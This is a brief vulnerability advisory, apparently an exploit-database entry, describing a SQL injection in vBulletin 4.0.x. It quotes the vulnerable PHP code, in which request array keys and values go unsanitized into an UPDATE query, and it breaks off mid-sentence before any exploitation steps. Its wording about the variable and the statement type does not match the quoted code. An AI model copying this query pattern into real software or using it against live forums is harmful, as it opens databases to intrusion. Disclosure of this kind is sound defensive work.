VBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
|
|
|
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
|
|
|
VBulletin 4.0.x are vulnerable.
|
|
|
|
The exploit is caused due to a variable named 'update_order' not being
|
|
sanitized before being used within an insert into statement.
|
|
|
|
if ($_REQUEST['do'] == 'update_order')
|
|
{
|
|
$vbulletin->input->clean_array_gpc('r', array(
|
|
'force_read_order' => TYPE_ARRAY
|
|
));
|
|
|
|
if ($vbulletin->GPC['force_read_order'])
|
|
{
|
|
foreach ($vbulletin->GPC['force_read_order'] AS $threadid => $order)
|
|
{
|
|
$db->query_write("
|
|
UPDATE " . TABLE_PREFIX . "thread AS thread
|
|
SET force_read_order = '$order'
|
|
WHERE threadid = '$threadid'
|
|
");
|
|
}
|
|
}

You will need Admincp Access then go to
